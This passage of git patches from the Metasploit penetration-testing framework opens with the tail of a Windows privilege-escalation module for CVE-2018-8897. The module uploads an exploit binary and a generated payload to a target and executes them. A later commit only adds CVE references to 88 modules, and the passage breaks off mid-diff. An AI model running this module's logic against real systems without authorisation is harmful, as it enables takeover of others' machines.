OptString.new('PAYLOAD_NAME', + [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + OptString.new('PATH', + [false, 'Path to write binaries (%TEMP% by default).', nil]) + ]) + + end + + # Exploit method for when exploit command is issued + def exploit + # Define default values + exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + exploit_name = exploit_name + '.exe' if exploit_name[-4,4] != '.exe' + payload_name = payload_name + '.exe' if payload_name[-4,4] != '.exe' + + # Connect to the session + begin + host = session.session_host + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue => e + print_error("Could not connect to session: #{e}") + return nil + end + + # Generate the exe payload + vprint_status("Generating EXE payload (#{payload_name})") + payload_exe = generate_payload_exe + # Writes script to target host and returns the pathname of the target file or nil if the + # file could not be written. + temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') + payload_path = temppath + "\\" + payload_name + exploit_path = temppath + "\\" + exploit_name + + unless directory?(temppath) + print_error("#{temppath} does not exists on the target") + return nil + end + + if file?(exploit_path) + print_warning("#{payload_path} already exists on the target. Deleting...") + begin + file_rm(filepath) + print_good("Deleted #{filepath}") + rescue + print_error("Unable to delete file!") + return nil + end + end + + # UPLOAD EXPLOIT + begin + #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') + print_status(local_exploit_path) + upload_file(exploit_path, local_exploit_path) + print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") + + # Escape windows pathname separators. + #@clean_up_rc << "rm #{exploit_path.gsub(/\\/, '//')}\n" + rescue => exception + puts exception.backtrace + print_error("Could not write the exploit on the target") + end + # UPLOAD PAYLOAD + begin + #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe + print_status(payload_path) + write_file(payload_path, payload_exe) + print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") + + # Escape windows pathname separators. + #@clean_up_rc << "rm #{payload_path.gsub(/\\/, '//')}\n" + rescue => exception + puts exception.backtrace + print_error("Could not write the payload on the target") + end + + # EXECUTE EXPLOIT + sleep(3) + begin + print_status("Running exploit #{exploit_path} with payload #{payload_path}") + output = cmd_exec("cmd.exe", "/c #{exploit_path} #{payload_path}") + vprint_status(output) + rescue + print_error("Failed to execute payload on target") + execsuccess = false + end + end +end From 1a3a4ef5e493b609d3a90d10cff59e57e4e6fc46 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 12 Jul 2018 17:34:52 -0500 Subject: [PATCH 145/217] Revised 88 aux and exploit modules to add CVEs / references --- modules/auxiliary/admin/http/typo3_sa_2009_001.rb | 1 + modules/auxiliary/admin/http/typo3_sa_2010_020.rb | 1 + modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 1 + modules/auxiliary/admin/smb/samba_symlink_traversal.rb | 1 + modules/auxiliary/dos/http/ua_parser_js_redos.rb | 1 + modules/auxiliary/dos/http/wordpress_long_password_dos.rb | 1 + modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb | 1 + modules/auxiliary/gather/advantech_webaccess_creds.rb | 1 + modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb | 1 + modules/auxiliary/gather/coldfusion_pwd_props.rb | 1 + modules/auxiliary/gather/emc_cta_xxe.rb | 1 + modules/auxiliary/gather/zabbix_toggleids_sqli.rb | 1 + modules/auxiliary/scanner/http/netdecision_traversal.rb | 1 + .../auxiliary/scanner/http/simple_webserver_traversal.rb | 1 + modules/auxiliary/scanner/http/wangkongbao_traversal.rb | 1 + modules/auxiliary/scanner/http/webdav_internal_ip.rb | 8 ++++++-- .../auxiliary/scanner/http/wordpress_content_injection.rb | 1 + .../auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb | 3 ++- .../auxiliary/scanner/http/wordpress_pingback_access.rb | 1 + .../scanner/http/wp_mobile_pack_info_disclosure.rb | 1 + modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb | 6 +++++- .../auxiliary/scanner/scada/sielco_winlog_fileaccess.rb | 1 + modules/auxiliary/server/webkit_xslt_dropper.rb | 4 ++++ modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 1 + modules/exploits/linux/http/airties_login_cgi_bof.rb | 1 + modules/exploits/linux/http/alienvault_exec.rb | 1 + modules/exploits/linux/http/alienvault_sqli_exec.rb | 1 + .../exploits/linux/http/dlink_diagnostic_exec_noauth.rb | 1 + modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 1 + modules/exploits/linux/http/ipfire_oinkcode_exec.rb | 1 + modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 1 + modules/exploits/linux/http/pineapp_test_li_conn_exec.rb | 5 +++-- modules/exploits/linux/http/pineapple_bypass_cmdinject.rb | 5 ++++- modules/exploits/linux/http/sophos_wpa_iface_exec.rb | 2 ++ .../tp_link_sc2020n_authenticated_telnet_injection.rb | 4 ++++ modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb | 1 + modules/exploits/linux/http/trendmicro_sps_exec.rb | 2 +- modules/exploits/linux/misc/opennms_java_serialize.rb | 1 + modules/exploits/linux/misc/qnap_transcode_server.rb | 1 + modules/exploits/linux/postgres/postgres_payload.rb | 1 + modules/exploits/linux/ssh/mercurial_ssh_exec.rb | 1 + modules/exploits/linux/ssh/solarwinds_lem_exec.rb | 3 ++- modules/exploits/multi/fileformat/swagger_param_inject.rb | 1 + modules/exploits/multi/http/bolt_file_upload.rb | 1 + modules/exploits/multi/http/clipbucket_fileupload_exec.rb | 1 + modules/exploits/multi/http/gitlist_arg_injection.rb | 1 + .../multi/http/hp_sitescope_uploadfileshandler.rb | 2 ++ modules/exploits/multi/http/lcms_php_exec.rb | 1 + modules/exploits/multi/http/nibbleblog_file_upload.rb | 1 + modules/exploits/multi/http/orientdb_exec.rb | 1 + modules/exploits/multi/http/phpfilemanager_rce.rb | 1 + .../multi/http/solarwinds_store_manager_auth_filter.rb | 1 + modules/exploits/multi/http/testlink_upload_exec.rb | 1 + modules/exploits/multi/http/x7chat2_php_exec.rb | 2 ++ modules/exploits/osx/local/dyld_print_to_file_root.rb | 1 + modules/exploits/osx/local/root_no_password.rb | 1 + modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb | 1 + modules/exploits/unix/http/pfsense_clickjacking.rb | 1 + .../exploits/unix/http/pfsense_graph_injection_exec.rb | 1 + modules/exploits/unix/webapp/wp_optimizepress_upload.rb | 1 + modules/exploits/unix/webapp/wp_pixabay_images_upload.rb | 1 + .../exploits/unix/webapp/wp_revslider_upload_execute.rb | 1 + modules/exploits/unix/webapp/zeroshell_exec.rb | 1 + .../exploits/windows/browser/cisco_playerpt_setsource.rb | 1 + .../windows/browser/imgeviewer_tifmergemultifiles.rb | 1 + modules/exploits/windows/fileformat/audio_coder_m3u.rb | 1 + modules/exploits/windows/fileformat/gsm_sim.rb | 1 + modules/exploits/windows/fileformat/mediacoder_m3u.rb | 1 + .../windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 1 + modules/exploits/windows/ftp/kmftp_utility_cwd.rb | 1 + modules/exploits/windows/ftp/labf_nfsaxe.rb | 1 + modules/exploits/windows/http/disksavvy_get_bof.rb | 1 + modules/exploits/windows/http/disksorter_bof.rb | 4 ++++ .../windows/http/dup_scout_enterprise_login_bof.rb | 1 + modules/exploits/windows/http/efs_fmws_userid_bof.rb | 1 + modules/exploits/windows/http/syncbreeze_bof.rb | 4 ++++ .../windows/http/trendmicro_officescan_widget_exec.rb | 1 + modules/exploits/windows/local/ipass_launch_app.rb | 1 + modules/exploits/windows/local/novell_client_nicm.rb | 1 + modules/exploits/windows/misc/allmediaserver_bof.rb | 1 + modules/exploits/windows/misc/bigant_server_usv.rb | 1 + modules/exploits/windows/misc/commvault_cmd_exec.rb | 1 + modules/exploits/windows/misc/disk_savvy_adm.rb | 4 ++++ modules/exploits/windows/misc/nettransport.rb | 1 + .../misc/solidworks_workgroup_pdmwservice_file_write.rb | 1 + modules/exploits/windows/novell/netiq_pum_eval.rb | 3 ++- .../exploits/windows/novell/zenworks_preboot_op21_bof.rb | 1 + modules/exploits/windows/smtp/sysgauge_client_bof.rb | 1 + 88 files changed, 123 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 55ea2964f0..e32295cb4f 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -17,6 +17,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE', '2009-0255'], ['OSVDB', '51536'], ['URL', 'http://blog.c22.cc/advisories/typo3-sa-2009-001'], ['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/'], diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index f5ebc22dd1..875e5975d7 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE', '2010-3714'], ['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'], ['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'], ], diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 7d65ea940a..0a124efb4d 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2013-6129' ], [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'], [ 'OSVDB', '98370' ], [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index b822730b83..8636f7bdc5 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + ['CVE', '2010-0926'], ['OSVDB', '62145'], ['URL', 'http://www.samba.org/samba/news/symlink_attack.html'] ], diff --git a/modules/auxiliary/dos/http/ua_parser_js_redos.rb b/modules/auxiliary/dos/http/ua_parser_js_redos.rb index 48db508d27..746bd55b10 100644 --- a/modules/auxiliary/dos/http/ua_parser_js_redos.rb +++ b/modules/auxiliary/dos/http/ua_parser_js_redos.rb @@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE', '2017-16086'], ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], ['CWE', '400'], ], diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index ab84c444e7..b8991ce4b5 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + ['CVE', '2014-9016'], ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'], ['OSVDB', '114857'], ['WPVDB', '7681'] diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb index 47ecbc4256..c6ac74c205 100644 --- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2014-5266'], ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'], ['URL', 'http://www.breaksec.com/?p=6362'], ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'], diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 7d66985fdc..d7b020d981 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + ['CVE', '2016-5810'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229'] ], 'DisclosureDate' => "Jan 21 2017" diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb index 92f11b85f9..ef804953e9 100644 --- a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -22,6 +22,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + ['CVE', '2014-5383'], ['OSVDB', '106815'], ['EDB', '33317'], ['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower'] diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 3a6c41040d..fcf06a2594 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -18,6 +18,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + [ 'CVE', '2013-3336' ], [ 'OSVDB', '93114' ], [ 'EDB', '25305' ] ], diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb index e34a632f26..330707cc65 100644 --- a/modules/auxiliary/gather/emc_cta_xxe.rb +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + ['CVE', '2014-0644'], ['EDB', '32623'] ], 'DisclosureDate' => 'Mar 31 2014' diff --git a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb index fd6e9f4389..2a5c28d8ec 100644 --- a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb +++ b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb @@ -17,6 +17,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE', '2016-10134'], ['URL', 'http://seclists.org/fulldisclosure/2016/Aug/60'] ], 'Author' => diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index e4180a1c1f..29cc4ccfe4 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -18,6 +18,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + [ 'CVE', '2012-1465' ], [ 'OSVDB', '79863' ], [ 'URL', 'http://aluigi.altervista.org/adv/netdecision_1-adv.txt' ], ], diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 35bbcf25d7..5cc394f6ee 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -17,6 +17,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + [ 'CVE', '2002-1864' ], [ 'OSVDB', '88877' ], [ 'EDB', '23886' ], [ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ] diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index 387f40e857..1c77ba9e5a 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -20,6 +20,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE', '2012-4031'], ['EDB', '19526'] ], 'Author' => diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index 510f7d7aa6..3d091c40aa 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -16,8 +16,12 @@ class MetasploitModule < Msf::Auxiliary super( 'Name' => 'HTTP WebDAV Internal IP Scanner', 'Description' => 'Detect webservers internal IPs though WebDAV', - 'Author' => ['et'], - 'License' => MSF_LICENSE + 'Author' => ['et'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2002-0422' ] + ] ) register_options( diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 24a562fb8d..d052e6dd1d 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary 'wvu' # Metasploit module ], 'References' => [ + ['CVE' , '2017-5612'], ['WPVDB', '8734'], ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb index bf59430410..61af90203c 100644 --- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -25,7 +25,8 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'EDB', '36243'], + [ 'CVE' , '2014-8586' ], + [ 'EDB', '36243' ], [ 'WPVDB', '7910' ] ], 'DisclosureDate' => 'Mar 03 2015')) diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index be2441187e..9e4ae5142f 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -27,6 +27,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2013-0235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/525045/30/30/threaded'], [ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], [ 'URL', 'https://github.com/FireFart/WordpressPingbackPortScanner'] diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index c0f8068e4e..edbd710b58 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -18,6 +18,7 @@ class MetasploitModule < Msf::Auxiliary }, 'References' => [ + ['CVE' , '2014-5337'], ['WPVDB', '8107'], ['PACKETSTORM', '132750'] ], diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index fd1fdfde11..028d4a159b 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -13,7 +13,11 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'Lotus Domino Password Hash Collector', 'Description' => 'Get users passwords hashes from names.nsf page', 'Author' => 'Tiago Ferreira ', - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE' , '2007-0977'] + ] ) register_options( diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index a0ed0a0cd1..febd1ee059 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ + [ 'CVE', '2012-4356' ], [ 'OSVDB', '83275' ], [ 'BID', '54212' ], [ 'EDB', '19409'], diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index a35189ebda..01221f6465 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -17,6 +17,10 @@ class MetasploitModule < Msf::Auxiliary }, 'Author' => [ 'Nicolas Gregoire' ], 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2011-1774' ] + ], 'Actions' => [ [ 'WebServer' ] diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index f03ba0e38d..ec9d140d70 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2015-5453'], ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index 7ac9d49673..1219f16edc 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_MIPSBE, 'References' => [ + ['CVE', '2015-2797'], ['EDB', '36577'], ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb index 14ca6b3ad3..b6094c2841 100644 --- a/modules/exploits/linux/http/alienvault_exec.rb +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -34,6 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2016-8582'], ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'], ['EDB', '40682'] ], diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb index fd8b209314..6a7ed67a55 100644 --- a/modules/exploits/linux/http/alienvault_sqli_exec.rb +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2016-8581'], ['OSVDB', '106252'], ['EDB', '33006'] ], diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 120c3bf59a..b4f5006ea5 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -36,6 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2014-100005' ], [ 'OSVDB', '92144' ], [ 'BID', '58938' ], [ 'EDB', '24926' ], diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 4da101a39b..c2f88578e9 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2014-8361'], ['OSVDB', '94924'], ['BID', '61005'], ['EDB', '26664'], diff --git a/modules/exploits/linux/http/ipfire_oinkcode_exec.rb b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb index adc4e9bd85..0629bd09df 100644 --- a/modules/exploits/linux/http/ipfire_oinkcode_exec.rb +++ b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-9757' ], [ 'EDB', '42149' ] ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index e4c97eff3a..ed583eac73 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2005-2799' ], [ 'OSVDB', '89912' ], [ 'BID', '57459' ], [ 'EDB', '24202' ], diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index 0ec59375f7..f18e4704c1 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -25,8 +25,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'ZDI', '13-188'], - [ 'OSVDB', '95782'] + [ 'CVE', '2013-6829' ], + [ 'ZDI', '13-188' ], + [ 'OSVDB', '95782' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb index 2b5c8801a2..b5bbe7b513 100644 --- a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb +++ b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb @@ -18,7 +18,10 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => ['catatonicprime'], 'License' => MSF_LICENSE, - 'References' => [ ], + 'References' => + [ + [ 'CVE', '2015-4624' ] + ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index 757d663377..39a66c7057 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -28,6 +28,8 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2014-2849'], + ['CVE', '2014-2850'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/'] ], 'Platform' => ['unix'], diff --git a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb index f4a75891a8..167e85e693 100644 --- a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb +++ b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb @@ -35,6 +35,10 @@ class MetasploitModule < Msf::Exploit::Remote }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'References' => + [ + [ 'CVE', '2013-2578'] + ], 'Targets' => [ [ 'Automatic', { } ], diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index acda1f3efa..74126c38fb 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2016-10372' ], [ 'EDB', '40740' ], [ 'URL', 'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/'], [ 'URL', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759'], diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb index 30698cdfd6..19ff169b04 100644 --- a/modules/exploits/linux/http/trendmicro_sps_exec.rb +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -26,7 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['CVE-ID', 'CVE-2016-6267'] + ['CVE', '2016-6267'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index 553f8375a6..ac61df8ef2 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', 